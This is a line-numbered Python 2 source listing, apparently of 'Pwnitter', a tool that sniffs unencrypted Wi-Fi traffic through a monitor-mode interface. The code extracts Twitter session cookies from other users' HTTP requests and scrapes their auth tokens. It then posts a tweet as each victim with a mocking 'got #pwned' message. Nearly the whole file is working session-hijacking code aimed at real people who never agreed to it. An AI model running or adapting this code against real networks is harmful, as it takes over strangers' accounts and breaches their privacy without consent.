3 # * apt-get install libpcap0.8 python-pypcap python-dpkt
4 # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 # * ./idiocy.py -i mon0
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
19 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
22 print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
25 NAME = 'de.cryptobitch.muelli.Pwnitter'
27 class Pwnitter(dbus.service.Object):
28 def __init__(self, bus, object_name, device='mon0', run_once_only=False):
29 super(Pwnitter, self).__init__(bus, object_name)
33 self.is_running = False
34 self.run_once_only = run_once_only
36 def setup_monitor(device='mon0'):
37 # FIXME: Replace hardcoded interface
38 cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
40 cmd = '/sbin/ifconfig mon0 up'.split()
43 @dbus.service.method(NAME,
44 in_signature='', out_signature='')
45 def Start(self, filename=None):
46 # FIXME: Prevent double Start()
47 if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
48 self.setup_monitor(device)
50 else: # We have given a filename, so let's make PCap read from the file
52 self.is_running = True
54 self.cap = pcap.pcap(device)
56 print "Error setting up %s" % device
58 self.cap.setfilter('dst port 80')
59 cap_fileno = self.cap.fileno()
60 self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
62 @dbus.service.method(NAME,
63 in_signature='s', out_signature='')
64 def StartFromFile(self, filename):
65 return self.Start(filename=filename)
68 def cap_readable_callback(self, source, condition, device):
69 return self.pwn(device, self.MessageSent)
71 @dbus.service.signal(NAME)
72 def MessageSent(self, who):
73 print "Emitting MessageSent"
78 @dbus.service.method(NAME,
79 in_signature='s', out_signature='')
80 def SetMessage(self, message):
83 @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
84 in_signature='', out_signature='s')
89 def tear_down_monitor(self, device='mon0'):
90 cmd = '/sbin/ifconfig mon0 down'.split()
92 cmd = '/usr/sbin/iw dev mon0 del'.split()
95 @dbus.service.method(NAME,
96 in_signature='', out_signature='')
98 self.is_running = False
100 gobject.source_remove(self.source_id)
101 self.tear_down_monitor(self.device)
105 def pwn(self, device, tweeted_callback=None):
106 log = logging.getLogger('pwn')
109 if self.is_running: # This is probably not needed, but I feel better checking it more than too less
110 ts, raw = self.cap.next()
111 eth = dpkt.ethernet.Ethernet(raw)
112 log.debug('got a packet')
113 # Depending on platform, we can either get fully formed packets or unclassified radio data
114 if isinstance(eth.data, str):
117 data = eth.data.data.data
119 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
121 host = hostMatches.group(1)
122 log.debug('Host matched %s', host)
124 user_agent_matches = re.search('User-Agent: ([^\n]+)', data)
125 if user_agent_matches:
126 user_agent = user_agent_matches.group(1)
127 log.debug('Found UserAgent: %s', user_agent)
129 user_agent = "Mozilla/5.0"
131 cookieMatches = re.search('Cookie: ([^\n]+)', data)
132 log.debug('CookieMatches? %r', cookieMatches)
135 cookie = cookieMatches.group(1)
136 log.debug('yummie Cookie %r', cookie)
139 "User-Agent": user_agent,
144 page = urllib2.urlopen("https://%s/" % host).read()
145 except socket.error, e:
148 log.debug('Connected to host %s', host)
149 #log.debug("%s", page)
150 if '''<p id="signup-btn"><a href="/signup" id="signup_submit"''' in page:
151 log.info('Login in Page :-(')
153 # Newtwitter and Oldtwitter have different formatting, so be lax
156 formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
158 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
161 authToken = authMatches.group(1)
162 log.info('Found auth token %r', authToken)
164 nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
166 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
170 name = nameMatches.group(1)
171 log.info('Found name %r', name)
174 # We don't want to repeatedly spam people
175 # Also proceed if we didn't find a name but are on the mobile page
176 if not (name in processed) or ((not name) and host == 'mobile.twitter.com'):
178 "User-Agent": "Mozilla/5.0",
179 "Accept": "application/json, text/javascript, */*",
180 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
181 "X-Requested-With": "XMLHttpRequest",
183 "Referer": "http://api.twitter.com/p_receiver.html",
188 log.debug('Issueing connection')
189 if self.run_once_only: # If we wanted to run once only, we make it stop now
190 self.is_running = False
191 if host == 'mobile.twitter.com':
193 params = urllib.urlencode({
194 'tweet[text]': self.status,
195 'authenticity_token': authToken
198 conn = httplib.HTTPConnection("mobile.twitter.com")
199 conn.request("POST", "/", params, headers)
203 params = urllib.urlencode({
204 'status': self.status,
205 'post_authenticity_token': authToken
208 conn = httplib.HTTPConnection("api.twitter.com")
209 conn.request("POST", "/1/statuses/update.json", params, headers)
212 response = conn.getresponse()
213 log.debug('Got response: %s', response.status)
214 if response.status == 200 or response.status == 302 or response.status == 403:
219 # 403 is a dupe tweet
220 if response.status != 403:
221 log.info("Successfully tweeted as %s", name)
224 tweeted_callback(name)
226 log.info('Already tweeted as %s', name)
227 log.debug("%s, %s", response.status, response.reason)
228 log.debug("%s", response.read())
232 log.error("FAILED to tweet as %s, debug follows:", name)
233 log.error("%s, %s", response.status, response.reason)
234 log.error("%s", response.read())
236 return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
237 # FIXME: Ideally, check whether Pcap has got data for us
241 opts, args = getopt.getopt(sys.argv[1:], 'i:h')
252 if __name__ == '__main__':
253 from optparse import OptionParser
254 parser = OptionParser("usage: %prog [options]")
255 parser.add_option("-l", "--loglevel", dest="loglevel",
256 help="Sets the loglevel to one of debug, info, warn, error, critical")
257 parser.add_option("-s", "--session", dest="use_session_bus",
258 action="store_true", default=False,
259 help="Bind Pwnitter to the SessionBus instead of the SystemBus")
260 parser.add_option("-1", "--single", dest="run_once_only",
261 action="store_true", default=False,
262 help="Make it send a single message only")
263 (options, args) = parser.parse_args()
264 loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
265 'warn': logging.WARN, 'error': logging.ERROR,
266 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
267 logging.basicConfig(level=loglevel)
268 #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
269 log = logging.getLogger("Main")
271 dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
273 if options.use_session_bus:
274 session_bus = dbus.SessionBus()
276 session_bus = dbus.SystemBus()
277 name = dbus.service.BusName(NAME, session_bus)
278 pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
281 loop = gobject.MainLoop()
282 log.info("Running example signal emitter service.")
283 # FIXME: This is debug code
284 #gobject.idle_add(pwnitter.MessageSent)
287 print "Exiting for whatever reason"